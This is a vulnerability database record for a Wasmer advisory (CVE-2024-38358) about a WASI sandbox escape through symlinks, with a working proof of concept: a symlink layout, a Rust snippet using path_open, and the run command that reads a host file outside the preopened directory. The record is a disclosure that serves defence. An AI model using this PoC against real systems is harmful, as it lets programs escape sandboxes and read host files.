{"id":"GHSA-55f3-3qvg-8pv5","revision":"016a269ee8c04043a8493145a5c68d3c","records":[{"revision":"016a269ee8c04043a8493145a5c68d3c","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-55f3-3qvg-8pv5","aliases":["CVE-2024-38358"],"title":"Symlink bypasses filesystem sandbox","description":"### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n    └── dir\n        └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n    unsafe {\n        let filefd = wasi::path_open(\n            5,\n            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n            \"app/dir/file\",\n            wasi::OFLAGS_CREAT,\n            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n            0,\n            0,\n        )\n        .unwrap();\n        eprintln!(\"filefd: {filefd}\");\n\n        let mut buf = [0u8; 10];\n        let iovs = [wasi::Iovec {\n            buf: buf.as_mut_ptr(),\n            buf_len: buf.len(),\n        }];\n\n        let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n        eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n    }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n","state":0,"publishedAt":"2024-06-07T19:40:00+00:00","modifiedAt":"2026-09-10T03:50:14.8907531+00:00","affected":[{"ecosystem":"crates.io","name":"wasmer","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"4.3.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5","https://nvd.nist.gov/vuln/detail/CVE-2024-38358","https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662","https://github.com/wasmerio/wasmer"],"sourceUrl":"https://github.com/advisories/GHSA-55f3-3qvg-8pv5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-55f3-3qvg-8pv5","identifiers":["GHSA-55f3-3qvg-8pv5","CVE-2024-38358"]},"retained":false,"historicalAffected":[]}],"coverage":[]}